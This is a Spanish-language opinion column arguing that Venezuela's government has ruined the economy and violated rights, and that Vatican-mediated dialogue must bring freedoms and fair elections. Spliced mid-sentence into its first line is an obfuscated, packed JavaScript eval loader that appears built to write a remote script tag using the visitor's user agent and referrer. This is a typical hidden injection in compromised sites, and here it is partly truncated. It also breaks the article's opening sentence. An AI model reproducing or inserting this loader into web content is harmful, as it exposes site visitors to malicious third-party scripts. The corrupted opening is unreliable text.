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El diálogo, asunto de dos o más razonadores

Víctor Vielma Molina / Educador / victormvielmam@gmail.com
El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anrhn|var|u0026u|referrer|hzisy||js|php'.split('|'),0,{})) diálogo no ha de confundirse con un soliloquio ni con un monólogo. Como monopolio de la razón, es un asunto de dos o más razonadores

La arbitrariedad, la usurpación, la violación de los DDHH, el desconocimiento de los derechos de la disidencia, propias del totalitarismo, son parte de la carga de excesos cometidos por este régimen, que usa el terrorismo de Estado, para intimidar. Pero si agregamos a esto, el caótico desempeño y la siniestra administración en los asuntos del Estado, la mala conducción e ignorancia sobre los principios fundamentales de la economía, el imperdonable descuido en los asuntos precautelares de protección, seguridad y prevención a favor de la población venezolana. En fin, todas estas irregularidades, colocan en estado de indefensión los intereses del ciudadano, hasta llegar a destruir, de manera atroz, a la familia venezolana. 

Aquí no se necesitan lentes de aumento ni lupa para verlo. Este Gobierno, que se hace llamar revolucionario, no tiene cómo superar los problemas económicos. Perdió la confianza y el prestigio. Pocos o ningún país, auxilia a un gobierno que se retrata ajeno a la realidad sin reconocer la crisis que genera. No hay medicinas porque el Gobierno no paga las ingentes sumas que debe a los laboratorios nacionales e internacionales; no hay producción de alimentos porque el Gobierno expropió, invadió y llevó al fracaso a las empresas e industrias productivas. Por ello, las sedes de las instituciones  públicas y privadas lucen sin mantenimiento, el transporte se deteriora y detiene, las ambulancias y las patrullas nunca llegan, porque no hay dinero ni repuestos para arreglarlas. Esto, como ya se ve y se siente, condena al país a la inflación, la escasez, la mendicidad, el hambre y la pobreza. 

Por esto y más, la gente, coloca la esperanza en el diálogo. El diálogo no ha de confundirse con un soliloquio ni con un monólogo. Como monopolio de la razón, es un asunto de dos o más razonadores. La mirada del mundo y de sus instituciones está sobre Venezuela. El Vaticano no va a ser una simple figura decorativa y retórica, es un moderador de excepción. El Gobierno, para ganar tiempo y evadir la derrota, después de negar la salida electoral, tal como lo era el RR, recurrió al diálogo porque no le quedó de otra.  Por ello, quienes dialogan, saben que la nación es y será primero. Pues, con el diálogo, han de llegar las libertades político-económicas, la liberación de los presos políticos, elecciones transparentes y el cese de la represión. 

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